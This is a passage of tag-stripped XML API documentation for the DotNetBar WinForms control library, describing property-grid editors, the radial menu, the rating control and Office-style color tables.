PropertyDoubleEditor class. + + + + + + + + + Initializes a new instance of the PropertyDoubleEditor class. + + + + + + + Defines a attribute which applies an integer type numeric editor to a property when used with AdvPropertyGrid control. Applies to int property types only. + + + + + Gets or sets whether up/down button is shown. + + + + + Gets or sets the display format for the control when control does not have input focus. + + + + + Gets or sets the minimum value that can be entered. + + + + + Gets or sets the maximum value that can be entered. + + + + + Gets or sets whether empty state i.e. null/nothing value is allowed when editor is used with nullable types. + + + + + Initializes a new instance of the PropertyIntegerEditor class. + + + + + Initializes a new instance of the PropertyIntegerEditor class. + + + + + + Initializes a new instance of the PropertyIntegerEditor class. + + + + + + + Initializes a new instance of the PropertyIntegerEditor class. + + + + + + + + Initializes a new instance of the PropertyIntegerEditor class. + + + + + + + + + Initializes a new instance of the PropertyIntegerEditor class. + + + + + + + Defines multiple choice, option or check-boxes, in-line AdvPropertyGrid property value editor. + + + + + Initializes a new instance of the PropertyMultiChoiceEditor class. + + + + + Initializes a new instance of the PropertyMultiChoiceEditor class. + + + + + + Initializes a new instance of the PropertyMultiChoiceEditor class. + + + + + + + Initializes a new instance of the PropertyMultiChoiceEditor class. + + + + + + + Initializes a new instance of the PropertyMultiChoiceEditor class. + + + + + + + Initializes a new instance of the PropertyMultiChoiceEditor class. + + + + + + Initializes a new instance of the PropertyMultiChoiceEditor class. + + + + + + Initializes a new instance of the PropertyMultiChoiceEditor class. + + + + + + + Initializes a new instance of the PropertyMultiChoiceEditor class. + + + + + + + Initializes a new instance of the PropertyMultiChoiceEditor class. + + + + + + + Initializes a new instance of the PropertyMultiChoiceEditor class. + + + + + + + + Represents item container that arranges items horizontally or vertically. + + + + + Creates new instance of the ItemContainer object. + + + + + Must be overridden by class that is inheriting to provide the painting for the item. + + + + + Returns empty container default design-time size. + + Size of an empty container. + + + + Gets whether FixedSize property should be serialized. + + + + + Resets the property to default value. + + + + + Called when FixedSize property has changed. + + Old property value + New property value + + + + Recalculates the size of the container. Assumes that DisplayRectangle.Location is set to the upper left location of this container. + + + + + Occurs when the mouse pointer is over the item and a mouse button is pressed. This is used by internal implementation only. + + + + + Return Sub Item at specified location + + + + + Called after TopInternal property has changed + + + + + Called after LeftInternal property has changed + + + + + Returns copy of the item. + + + + + Copies the ButtonItem specific properties to new instance of the item. + + New ButtonItem instance. + + + + Occurs when sub item expanded state has changed. + + Sub item affected. + + + + Called when item Display state has changed. + + + + + Sets whether container is used as system container internally by DotNetBar. + + true or false to indicate whether container is system container or not. + + + + Called when TitleVisible property has changed. + + Old property value + New property value + + + + Called when TitleText property has changed. + + Old property value + New property value + + + + Called when TitlePosition property has changed. + + Old property value + New property value + + + + Selects first visible item contained by the container by sending mouse over message. + + + + + Sets the new hot-sub item for the container. This method is designed for internal use by the DotNetBar and should not be used. + + Reference to an instance of BaseItem or null. + + + + Gets or sets the minimum size of the container. Either Width or Height can be set or both. Default value is 0,0 which means + that size is automatically calculated. + + + + + Specifies the container background style. Default value is an empty style which means that container does not display any background. + BeginGroup property set to true will override this style on some styles. + + + + + Gets or sets the item alignment when container is in horizontal layout. Default value is Left. + + + + + Gets or sets the item vertical alignment. Default value is Top. + + + + + Gets or sets whether items in horizontal layout are wrapped into the new line when they cannot fit allotted container size. Default value is false. + + + + + Gets or sets spacing in pixels between items. Default value is 0. + + + + + Gets or sets the suggested fixed size of the container. Width or Height or Both may be set to suggest fixed size for the container. + + + + + Gets or sets orientation inside the container. Do not change the value of this property. It is managed by system only. + + + + + Gets or sets orientation inside the container. + + + + + Gets or sets whether items contained by container are resized to fit the container bounds. When container is in horizontal + layout mode then all items will have the same height. When container is in vertical layout mode then all items + will have the same width. Default value is true. + + + + + IBlock member implementation + + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + Returns whether instance of the item container is used as system container internally by DotNetBar. + + + + + Gets or sets the accessible role of the item. + + + + + Specifies the title background style. + + + + + Indicates whether TitleText is visible if set. Default value is true. + + + + + Gets or sets the title text for the container. + + + + + Gets or sets position of title text. + + + + + Gets or sets the Key Tips access key or keys for the item when on Ribbon Control or Ribbon Bar. Use KeyTips property + when you want to assign the one or more letters to be used to access an item. For example assigning the FN to KeyTips property + will require the user to press F then N keys to select an item. Pressing the F letter will show only keytips for the items that start with letter F. + + + + + Indicates whether the item will auto-collapse (fold) when clicked. + When item is on popup menu and this property is set to false, menu will not + close when item is clicked. + + + + + Gets or sets whether item can be customized by end user. + + + + + Returns category for this item. If item cannot be customzied using the + customize dialog category is empty string. + + + + + Gets or sets whether Click event will be auto repeated when mouse button is kept pressed over the item. + + + + + Gets or sets the auto-repeat interval for the click event when mouse button is kept pressed over the item. + + + + + Specifes the mouse cursor displayed when mouse is over the item. + + + + + Gets or sets item description. This description is displayed in + Customize dialog to describe the item function in an application. + + + + + Gets or sets a value indicating whether the item is enabled. + + + + + Gets or sets whether item is global or not. + This flag is used to propagate property changes to all items with the same name. + Setting for example Visible property on the item that has GlobalItem set to true will + set visible property to the same value on all items with the same name. + + + + + Gets or sets item alignment inside the container. + + + + + Gets or sets the collection of shortcut keys associated with the item. + + + + + Gets or sets whether item will display sub items. + + + + + Gets or sets whether the item expands automatically to fill out the remaining space inside the container. Applies to Items on stretchable, no-wrap Bars only. + + + + + Specifies whether item is drawn using Themes when running on OS that supports themes like Windows XP. + + + + + Gets/Sets informational text (tooltip) for the item. + + + + + Indicates whether container responds to keyboard presses and changes the active/mouse over item. + + + + + Initializes a new instance of the PropertyMultiChoiceItemEditor class. + + + + + + + Represents the option list property node for AdvPropertyGrid. + + + + + Initializes a new instance of the PropertyNode class. + + + + + + Describes the property settings applied to the property on AdvPropertyGrid control. + + + + + Initializes a new instance of the PropertySettings class. + + + + + Initializes a new instance of the PropertySettings class. + + + + + + Initializes a new instance of the PropertySettings class. + + + + + + Raises the ConvertPropertyValueToString event. + + Provides event data + + + + Raises the ConvertFromStringToPropertyValue event. + + Provides event data + + + + Raises the ProvidePropertyValueList event. + + Provides event data + + + + Called when TypeConverter property has changed. + + Old property value + New property value + + + + Raises PropertyChanged event. + + Event data. + + + + Occurs when property value is being converted to text representation for display. You can handle this event + to provide custom conversion for property values. You must set IsConverted=true on event arguments to indicate that you have performed value conversion. + + + + + Occurs when text entered by user is being converted to typed property value to be assigned to the property. You can handle this event + to provide custom conversion for property values. You must set IsConverted=true on event arguments to indicate that you have performed value conversion. + + + + + Occurs when property looks for the list of valid values for the property to show on either drop-down or use + in auto-complete list. For example when property type is enum the internal implementation will convert available enum + values into string list and use on drop-down and in auto-complete list. You can use this event to provide + custom value list in combination with ConvertPropertyValueToString, ConvertFromStringToPropertyValue events. + You must set IsListValid=true on event arguments to indicate that list your provided should be used. + + + + + Gets or sets read-only property style. + + + Default value is null. + + + + + Gets or sets whether property is in read-only state. Default value is false. + + + + + Gets or sets the SuperTooltip that is displayed when property is in read-only state (ReadOnly=true). + + + + + Gets or sets the SuperTooltip that is assigned to the property. + + + + + Gets or sets the image that is displayed next to the property name in the grid. + + + + + Gets or sets the image alignment in relation to the property name inside of the grid cell. + + + + + Gets or sets the custom category node will be placed in instead of category specified by Category attribute. + + + + + Gets or sets the custom property name that is displayed in the grid instead of the real property name. + + + + + Gets or sets the name of the property that is managed by this informational object. If you set PropertyDescriptor than that is the value + that will be used by the control regardless of PropertyName value. + If you set PropertyName but not PropertyDescriptor then all properties with given name + regardless of type will use these settings. + + + + + Gets or sets property descriptor that identifies the property settings apply to. If you set PropertyDescriptor than that is the value + that will be used by the control regardless of PropertyName value. + If you set PropertyName but not PropertyDescriptor then all properties with given name + regardless of type will use these settings. + + + + + Gets or sets default property style. + + + Default value is null. + + + + + Gets or sets the UITypeEditor used to edit the property. + + + + + Gets or sets the custom in-line property value editor. Property value editor is created by inheriting from PropertyValueEditor class. + + + + + Gets or sets whether node is visible in property grid. Default value is true. + + + + + Gets or sets the property node type that is used to edit this property value. Note that content of property grid would need to be + reloaded to apply any changes to this property. + + + + + Gets or sets the property description that overrides description specified on property through DescriptionAttribute. + Default value is null. + + + + + Gets or sets custom TypeConverter assigned to the property which will override any TypeConverter that is returned by the PropertyDescriptor. + + + + + Occurs when property value on the object changes. + + + + + Defines the type of the property node in grid that is assigned to property. + + + + + Specifies default node type for the property. + + + + + Specifies the node type that is constructed as group of option buttons that represent all values for the property. Works best + for smaller set of Enum values. + + + + + Defines exception which is thrown when property value fails the validation in AdvPropertyGrid.ValidatePropertyValue event. + + + + + Initializes a new instance of the InvalidPropertyValueException class. + + + + + Defines Advanced Property Grid Node for Color type. + + + + + Initializes a new instance of the PropertyNode class. + + + + + + Initializes a new instance of the PropertyNodeFactory class. + + + + + + Initializes a new instance of the PropertyParser class. + + + + + + Initializes a new instance of the PropertyParser class. + + + + + + Initializes a new instance of the PropertyParser class. + + + + + + Initializes a new instance of the PropertyParser class. + + + + + + Initializes a new instance of the PropertyGridInfoCollection class. + + + + + + Gets property info object based on property name. + + Property name. + PropertyGridInfo instance or null if it cannot be found. + + + + Gets property info object based on property descriptor. + + Property descriptor. + PropertyGridInfo instance or null if it cannot be found. + + + + Returns property setting based on property descriptor or name if property descriptor is not set on property settings + Property descriptor takes precedence. + + Property descriptor to look for. + Property Name to look for. + Property settings instance or null + + + + Gets the owner of the collection. + + + + + Defines a attribute which applies an slider in-line editor to a property when used with AdvPropertyGrid control. + + + + + Gets or sets the minimum slider value. + + + + + Gets or sets the maximum slider value. + + + + + Gets or sets whether slider text label is visible. + + + + + Gets or sets the slider label width. Default value is 18. + + + + + Gets or sets label text color. + + + + + Initializes a new instance of the PropertySliderEditor class. + + Minimum value for slider. + Maximum value for slider. + + + + Initializes a new instance of the PropertySliderEditor class. + + + + + + + + Initializes a new instance of the PropertySliderEditor class. + + + + + + + + + + Initializes a new instance of the PropertySliderEditor class. + + + + + + + + Initializes a new instance of the PropertySliderEditor class. + + + + + + + + + Creates a control that is used as property value in-line editor. Control must implement IPropertyValueEditor interface. + + PropertyDescriptor for the property being edited. + Target object that owns the property. + Control that represents in-line editor. + + + + Defines Radial Menu control. + + + + + Initializes a new instance of the RadialMenu class. + + + + + Raises BeforeMenuClose event. + + Provides event arguments. + + + + Raises BeforeMenuOpen event. + + Provides event arguments. + + + + Raises MenuOpened event. + + Provides event arguments. + + + + Raises MenuClosed event. + + Provides event arguments. + + + + Gets or sets whether radial menu is open. + + + + + Called when Image property has changed. + + Old property value + New property value + + + + Called when IsOpen property has changed. + + Old property value + New property value + + + + Sets whether radial menu is open and provides the source of the action. + + true to open menu, false to close it. + Source of the action. + + + + Returns the collection of items with the specified name. + + Item name to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + Indicates whether GlobalName property is used for searching. + + + + + Returns the first item that matches specified name. + + Item name to look for. + + + + + Raises ItemAdded event. + + Reference to item. + Provides event arguments. + + + + Raises ItemRemoved event. + + Reference to item. + Provides event arguments. + + + + Raises ItemMouseEnter event. + + Reference to item. + Provides event arguments. + + + + Raises ItemMouseHover event. + + Reference to item. + Provides event arguments. + + + + Raises ItemMouseLeave event. + + Reference to item. + Provides event arguments. + + + + Raises ItemMouseDown event. + + Reference to item. + Provides event arguments. + + + + Raises ItemMouseUp event. + + Reference to item. + Provides event arguments. + + + + Raises ItemMouseMove event. + + Reference to item. + Provides event arguments. + + + + Raises ItemClick event. + + Reference to item. + Provides event arguments. + + + + Raises ItemDoubleClick event. + + Reference to item. + Provides event arguments. + + + + Raises ItemExpandedChanged event. + + Reference to item. + Provides event arguments. + + + + Raises ItemTextChanged event. + + Provides event arguments. + + + + Raises ItemTooltipShowing event. + + Provides event arguments. + + + + Occurs before menu is closed and allows you to cancel closing. + + + + + Occurs before menu has been opened and allows you to cancel opening + + + + + Occurs after menu has been opened. + + + + + Occurs after menu is closed.Occurs after menu is closed. + + + + + Specifies the width of the sub-menu edge around the radial menu. + + + + + Indicates spacing between sub-menu marking edge and the item. + + + + + Gets or sets radial menu diameter. Minimum value is 64. + + + + + Gets reference to colors used by the radial menu. + + + + + Indicates the size of the back symbol that is displayed on center of radial menu + + + + + Specifies the back button symbol. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Indicates diameter of center button of radial menu. + + + + + Specifies the maximum pie part angle an item will occupy. Maximum is 180, minimum is 1 degree. + + + + + Indicates maximum radial angle single item in menu can consume. By default this property is set to zero which indicates that + radial menu is equally divided between visible menu items. + + + + + Indicates the position of top-left corner of radial menu when shown in screen coordinates + + + + + Indicates image displayed in center of the radial menu. + + + + + Indicates symbol displayed in center of the radial menu. When set, it overrides any Image settings. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Indicates the size of the symbol in points. + + + + + Gets or sets whether radial menu is open. + + + + + Returns collection of items on a bar. + + + + + Gets or sets whether shortcut processing for the items hosted by this control is enabled. Default value is true. + + + + + Indicates whether radial menu is closed automatically when app is deactivated. Default value is true, if set to false + you are responsible for closing the menu. + + + + + Gets or sets whether hooks are used for internal DotNetBar system functionality. Using hooks is recommended only if DotNetBar is used in hybrid environments like Visual Studio designers or IE. + + + + + Indicates the radial menu type. eRadialMenuType.Segment menu type allows for display of image, text and any sub-menu items. + eRadialMenuType.Circular allows only for display of Symbol or Image and it does not display either text or sub-menu items. + eRadialMenuType.Circular is designed to be used for single level menus only that don't need text. + + + + + Indicates whether control automatically scales the items if the parent Form performs scaling due to AutoScale settings. + + + + + Indicates accessibility help string + + + + + Returns whether control has any popups registered. + + + + + Indicates whether shortcuts handled by items are dispatched to the next handler or control. + + + + + Indicates whether items show tooltips. + + + + + Indicates whether item shortcut is displayed in Tooltips. + + + + + Gets or sets whether accelerator letters on buttons are underlined. Default value is false which indicates that system setting is used + to determine whether accelerator letters are underlined. Setting this property to true + will always display accelerator letter underlined. + + + + + Gets or sets whether gray-scale algorithm is used to create automatic gray-scale images. Default is true. + + + + + Occurs after an item has been added to items collection. + + + + + Occurs after an item has been removed from items collection. + + + + + Occurs when mouse pointer enters boundaries of an item. + + + + + Occurs when mouse pointer hovers over an item. + + + + + Occurs when mouse pointer leaves boundaries of an item. + + + + + Occurs when mouse button is pressed on item. + + + + + Occurs when mouse button is released on item. + + + + + Occurs when mouse moves over an item. + + + + + Occurs when an item is clicked. + + + + + Occurs when an item is double-clicked. + + + + + Occurs when an item Expanded property value has changed. + + + + + Occurs when an item Text property value has changed. + + + + + Occurs when tooltip for an item is about to be displayed. + + + + + Defines colors used by Radial Menu Component. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Raises the PropertyChanged event. + + Event arguments + + + + Gets or sets the color of the Radial Menu button background. + + + + + Gets or sets the color of the radial menu button border. + + + + + Gets or sets the color of the Radial Menu background. + + + + + Gets or sets the color of the Radial Menu border + + + + + Gets or sets the color of border for mouse over state for the radial menu item expand part. + + + + + Gets or sets the color of the radial menu border for parts where items do not have sub-items, i.e. non-active area of the border. + + + + + Gets or sets the color of the expand sign which shows menu item sub-items. + + + + + Gets or sets the color of the radial menu item text. + + + + + Gets or sets the color of the radial menu item mouse over background. + + + + + Gets or sets the color of the radial menu item mouse over foreground. + + + + + Gets or sets the color of the radial menu item foreground when disabled. + + + + + Gets or sets background color of the circular menu item type. Applies only to circular menu types. + + + + + Gets or sets text color of the circular menu item type. Applies only to circular menu types. + + + + + Gets or sets border color of the circular menu item type. Applies only to circular menu types. + + + + + Occurs when property value has changed. + + + + + Initializes a new instance of the RadialMenuContainer class. + + + + + Returns copy of the item. + + + + + Copies the RadialMenuItem specific properties to new instance of the item. + + New ProgressBarItem instance. + + + + Copies the RadialMenuItem specific properties to new instance of the item. + + New RadialMenuItem instance. + + + + Raises Opened event. + + Provides event arguments. + + + + Raises Closed event. + + Provides event arguments. + + + + Called when OpenState property has changed. + + Old property value + New property value + + + + Closes currently open popup. + + + + + Called when MaxItemRadialAngle property has changed. + + Old property value + New property value + + + + Called when Diameter property has changed. + + Old property value + New property value + + + + Called when CenterButtonDiameter property has changed. + + Old property value + New property value + + + + Called when SubMenuEdgeWidth property has changed. + + Old property value + New property value + + + + Called when SubMenuEdgeItemSpacing property has changed. + + Old property value + New property value + + + + Return Sub Item at specified location + + + + + Called when MenuLocation property has changed. + + Old property value + New property value + + + + Called when RadialMenu property has changed. + + Old property value + New property value + + + + Gets the current expanded subitem. + + + + + + Called when BackSymbolSize property has changed. + + Old property value + New property value + + + + Called when BackSymbol property has changed. + + Old property value + New property value + + + + Called when BackButtonSymbolSet property value changes. + + Indciates old value + Indicates new value + + + + Called when MaxItemPieAngle property has changed. + + Old property value + New property value + + + + Called when MenuType property has changed. + + Old property value + New property value + + + + Called when Symbol property has changed. + + Old property value + New property value + + + + Called when SymbolSet property value changes. + + Indciates old value + Indicates new value + + + + Called when SymbolSize property has changed. + + Old property value + New property value + + + + Called when Image property has changed. + + Old property value + New property value + + + + Called when Font property has changed. + + Old property value + New property value + + + + Occurs after radial menu is opened. + + + + + Occurs after radial menu is closed. + + + + + Returns internal popup control for radial menu. + + + + + Indicates maximum radial angle single item in menu can consume. By default this property is set to zero which indicates that + radial menu is equally divided between visible menu items. + + + + + Returns diameter which takes in account current scaling factor. + + + + + Gets or sets radial menu diameter. Minimum value is 64. + + + + + Returns actual center button diameter which takes in account current scale factor. + + + + + Indicates diameter of center button of radial menu. + + + + + Specifies the width of the sub-menu edge around the radial menu. + + + + + Indicates spacing between sub-menu marking edge and the item. + + + + + Indicates the position of top-left corner of radial menu when shown in screen coordinates + + + + + Indicates the size of the back symbol that is displayed on center of radial menu + + + + + Specifies the back button symbol. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Specifies the maximum pie part angle an item will occupy. Maximum is 180, minimum is 1 degree. + + + + + Gets reference to colors used by the radial menu. + + + + + Indicates the radial menu type. eRadialMenuType.Radial menu type allows for display of image, text and any sub-menu items. + eRadialMenuType.Circular allows only for display of Symbol or Image and it does not display either text or sub-menu items. + eRadialMenuType.Circular is designed to be used for single level menus only that don't need text. + + + + + Gets the realized symbol string. + + + + + Indicates the symbol displayed on face of the button instead of the image. Setting the symbol overrides the image setting. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Indicates the size of the symbol in points. + + + + + Gets or sets the image displayed on the item. + + + + + Specifies font for menu items. + + + + + Initializes a new instance of the RadialSubItemInfo class. + + + + + + + + + Initializes a new instance of the RadialMenuPopupProxy class. + + + + + + Defines available radial menu type. + + + + + Defines Radial Menu Item. + + + + + Raises CheckedChanged event. + + Provides event arguments. + + + + Called when DisplayPath property has changed. + + Old property value + New property value + + + + Returns copy of the item. + + + + + Copies the RadialMenuItem specific properties to new instance of the item. + + New ProgressBarItem instance. + + + + Copies the RadialMenuItem specific properties to new instance of the item. + + New RadialMenuItem instance. + + + + Called when Symbol property has changed. + + Old property value + New property value + + + + Called when SymbolSet property value changes. + + Indciates old value + Indicates new value + + + + Called when SymbolSize property has changed. + + Old property value + New property value + + + + Called when Image property has changed. + + Old property value + New property value + + + + Called when TextVisible property has changed. + + Old property value + New property value + + + + Called when TracksMouse property has changed. + + Old property value + New property value + + + + Called when Checked property has changed. + + Old property value + New property value + + + + Called when TextOffset property has changed. + + Old property value + New property value + + + + Raises BeforeMenuOpened event. + + Provides event arguments. + + + + Raises BeforeMenuClosed event. + + Provides event arguments. + + + + Called when CircularMenuDiameter property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Occurs after Checked property has changed. + + + + + Gets display path of the item. + + + + + Gets the realized symbol string. + + + + + Indicates the symbol displayed on face of the button instead of the image. Setting the symbol overrides the image setting. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Indicates the size of the symbol in points. + + + + + Gets or sets the image displayed on the item. + + + + + Indicates whether text on item is visible. + + + + + Gets whether mouse is over the item. + + + + + Indicates whether item changes its appearance when mouse is over it or pressed + + + + + Indicates whether item is in checked state. + + + + + Gets or sets the optional text offset for the item. + + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + Occurs before radial menu item is expanded and its sub-items displayed. + + + + + Occurs before radial menu item is closed + + + + + Control Container (System.Windows.Forms.Control or its descendant) + + + + + Specifies explicit circular menu type diameter. Applies to circular menu type only. + + + + + Gets or sets background color of the circular menu item type. Applies only to circular menu types. + + + + + Gets or sets text color of the circular menu item type. Applies only to circular menu types. + + + + + Gets or sets border color of the circular menu item type. Applies only to circular menu types. + + + + + Initializes a new instance of the RadialMenuPopup class. + + + + + Called when DisplayItem property has changed. + + Old property value + New property value + + + + Returns the renderer control will be rendered with. + + The current renderer. + + + + Returns the color scheme used by control. Color scheme for Office2007 style will be retrieved from the current renderer instead of + local color scheme referenced by ColorScheme property. + + An instance of ColorScheme object. + + + + Identifies the item displayed by this popup. + + + + + Gets or sets the content image displayed on the window. + + + + + Gets or sets the rendering mode used by control. Default value is eRenderMode.Global which means that static GlobalManager.Renderer is used. If set to Custom then Renderer property must + also be set to the custom renderer that will be used. + + + + + Gets or sets the custom renderer used by the items on this control. RenderMode property must also be set to eRenderMode.Custom in order renderer + specified here to be used. + + + + + Represents rating item control which provides rating functionality. + + + + + Initializes a new instance of the RatingItem class. + + + + + Copies the ButtonItem specific properties to new instance of the item. + + New ButtonItem instance. + + + + Raises the AverageRatingChanged event. + + Event data. + + + + Raises the ParseAverageRatingValue event. + + Provides event arguments. + + + + Sets the Rating value of the control and provides information about source of the rating change. + + New Rating value. + Source of this change. + + + + Raises RatingChanging event. + + Event data + + + + Raises the RatingChanged event. + + Event data. + + + + Raises the ParseRating event. + + Provides event arguments. + + + + Occurs when Rating property has changed. + + + + + Occurs when RatingValue property has changed. + + + + + Occurs when Rating property is about to be changed and provides opportunity to cancel the change. + + + + + Occurs when AverageRating property has changed. + + + + + Occurs when AverageRatingValue property has changed. + + + + + Occurs when text markup link is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Occurs when RatingValue property is set and it allows you to provide custom parsing for the values. + + + + + Occurs when AverageRatingValue property is set and it allows you to provide custom parsing for the values. + + + + + Gets or sets the average rating shown by control. Control will display average rating (if set) when no explicit + Rating value is set through Rating property. Minimum value is 0 and Maximum value is controlled by NumberOfStars property value. + + + + + Gets or sets the AverageRating property. This property is provided for Data-Binding with NULL value support. + + + + + Gets or sets the rating value represented by the control. Default value is 0 which indicates + that there is no rating set. Maximum value is controlled by NumberOfStars property. + + + + + Gets or sets the Rating property value. This property is provided for Data-Binding with NULL value support. + + + + + Gets or sets whether rating can be edited. Default value is true. + + + + + Specifies the control background style. Default value is an empty style which means that container does not display any background. + + + + + Gets the reference to custom rating images. + + + + + Gets or sets whether text assigned to the check box is visible. Default value is true. + + + + + Gets or sets the text color. Default value is Color.Empty which indicates that default color is used. + + + + + Gets or sets the spacing between optional text and the rating. + + + + + Gets or sets the orientation of rating control. + + + + + Indicates number of stars used for the rating. Minium value is 2 stars. + + + + + Gets whether item supports text markup. Default is false. + + + + + Gets or sets whether text-markup support is enabled for items Text property. Default value is true. + Set this property to false to display HTML or other markup in the item instead of it being parsed as text-markup. + + + + + Initializes a new instance of the RatingImage structure. + + + + + + + Defines the custom rating images for Rating control. + + + + + Initializes a new instance of the RatingImages class. + + + + + Gets or sets the image used for unrated rating part. + + + + + Gets or sets the image used for unrated rating part when mouse is over the control. + + + + + Gets or sets the image used for rated part of the control. + + + + + Gets or sets the image used for Average Rated part of the control. + + + + + Gets or sets the image used for rated part of the control when mouse is over the control. + + + + + Delegate for Rating change events. + + + + + Represents event arguments for Rating change events. + + + + + New Rating value being assigned. + + + + + Previous or current value (if RatingChanging event). + + + + + Indicates the action that has caused the event. + + + + + Initializes a new instance of the RatingChangeEventArgs class. + + + + + + + + Represents color table for CrumbBarItemView. + + + + + Gets or sets the default state color table. + + + + + Gets or sets active mouse over color table. + + + + + Gets or sets inactive part mouse over color table. + + + + + Gets or sets the pressed color table. + + + + + Defines state color table for CrumbBarItemView + + + + + Gets or sets foreground/text color. + + + + + Gets or sets the background color blend collection. + + + + + Gets or sets the border color. + + + + + Gets or sets the border color. + + + + + Represents the color table for Office 2007 Style CalendarView Control. + + + + + Initializes ColorScheme object with the black color scheme. + + ColorScheme object to initialize. + + + + Defines colors for the WarningBox control. + + + + + Gets or sets the background color of WarningBox control. + + + + + Gets or sets the border color of the warning panel. + + + + + Gets or sets the back color of the warning panel. + + + + + Gets or sets the end gradient back color of the warning panel. + + + + + Gets or sets the background color of WarningBox control. + + + + + Gets or sets the border color of the warning panel. + + + + + Gets or sets the back color of the warning panel. + + + + + Gets or sets the end gradient back color of the warning panel. + + + + + Gets or sets the background color of WarningBox control. + + + + + Gets or sets the border color of the warning panel. + + + + + Gets or sets the back color of the warning panel. + + + + + Gets or sets the end gradient back color of the warning panel. + + + + + Gets or sets the background color of WarningBox control. + + + + + Gets or sets the border color of the warning panel. + + + + + Gets or sets the back color of the warning panel. + + + + + Gets or sets the end gradient back color of the warning panel. + + + + + Renders the Range Slider items. + + + + + Gets or sets color table used by renderer. + + + + + Defines the color table for the Range Slider Item in single state. + + + + + Gets or sets the colors for the slider which changes the minimum value of the range. + + + + + Gets or sets the colors for the slider which changes the maximum value of the range. + + + + + Gets or sets the tick line color. + + + + + Gets or sets the color for the line which indicates current range value. + + + + + Gets or sets the background colors of the current range value. + + + + + Gets or sets the color for the line showing control range. + + + + + Gets or sets the background colors for the line showing control range. + + + + + Gets or sets the corner radius for the range rectangle. + + + + + Defines the color table for the Range Slider Item in single state. + + + + + Gets or sets the default state colors. + + + + + Gets or sets the mouse over state colors. + + + + + Gets or sets the mouse pressed colors. + + + + + Gets or sets the disabled colors. + + + + + Initializes a new instance of the Office2010RangeChangePartColorTable class. + + + + + Initializes a new instance of the Office2010RangeChangePartColorTable class. + + + + + + + + Gets or sets the part background colors. + + + + + Gets or sets the part border color + + + + + Gets or sets the part border light color + + + + + Represents color table for Office 2010 style. + + + + + Represents color table for Office 2007 style. + + + + + Defines the provider for the element style classes support. + + + + + Returns the instance of the ElementStyle with given class name or null if there is no class with that name defined. + + Class name. See static members of ElementStyleClassKeys class for the list of available keys. + Instance of ElementStyle for given class name or null if class cannot be found. + + + + Creates new instance of the object. + + + + + Initializes a new instance of the Office2007ColorTable class. + + Specifies the color factory for the color table. + + + + Creates new instance of the object. + + + + + Creates new instance of the object. + + + + + Creates new instance of the color table and initializes it with custom color scheme. + + Predefined color scheme to be used as starting color scheme. + Color to use as basis for new color scheme + + + + Gets or sets the RibbonBar color table. + + + + + Gets or sets the background colors for the ItemContainer with BeginGroup property set to true. + + + + + Gets or sets the background colors for the Bar object. + + + + + Gets or sets the colors for the RibbonControl. + + + + + Gets or sets the colors for the ColorItem which is used by drop-down Color Picker. + + + + + Gets or sets the color table for menus. + + + + + Gets or sets the color table for ComboBoxItem. + + + + + Gets or sets the colors for the Ribbon Bar dialog launcher button. + + + + + Gets or sets the legacy color scheme object that applies to the user interface elements not covered by color table. + + + + + Gets or sets the color table of the system buttons displayed in form caption. + + + + + Gets or sets the color table of the close system button displayed in form caption. Applies to Office 2010 styles and later only. + + + + + Gets or sets the color table for the form caption. + + + + + Gets or sets the bacgkround colors for the quick access toolbar. + + + + + Gets or sets the colors for the tab and tab strip control. + + + + + Gets or sets the colors for the tab strip control used on docking windows. When not set TabControl color scheme is used. + + + + + Gets or sets the KeyTips color table. + + + + + Gets or sets the color table for the CheckBoxItem. + + + + + Gets or sets the scroll bar colors. + + + + + Gets or sets the application style scroll bar colors. + + + + + Gets or sets the color table for the ProgressBarItem. + + + + + Gets or sets the color table for the paused ProgressBarItem. + + + + + Gets or sets the color table for the error state of ProgressBarItem. + + + + + Gets or sets the color table for the galleries. + + + + + Gets or sets the color table for the NavigationPane control. + + + + + Gets or sets the color table for the Slider item. + + + + + Gets or sets the color table for the Range Slider item. + + + + + Gets the SuperTooltip color table. + + + + + Gets the color table for the ListViewEx control. + + + + + Gets the color table for the ListViewEx control. + + + + + Gets the color table used by SideBar control. + + + + + Gets or sets the color table for AdvTree control. + + + + + Gets or sets the CrumBarItem color table. + + + + + Gets the color table used by Schedule control. + + + + + Gets or sets SwitchButton color table. + + + + + Gets or sets the colors for the StepItem used in ProgressSteps control. + + + + + Gets or sets the colors for the ListBoxItem used in ListBoxAdv control. + + + + + Gets or sets the color table for the radial menu. + + + + + Gets or sets color table for TokenEditor control tokens. + + + + + Gets or sets color table for Flyout control. + + + + + Gets or sets the colors for the SideNav control. + + + + + Gets or sets the color tables for the TabFormItem. The key is the string representation of a eTabFormItemColor value. + + + + + Returns the instance of the ElementStyle with given class name or null if there is no class with that name defined. + + Class name. See static members of ElementStyleClassKeys class for the list of available keys. + Instance of ElementStyle for given class name or null if class cannot be found. + + + + Gets the reference to collection of Office2007ButtonItemColorTable objects the describe colors used by a button with Office 2007 style. + The 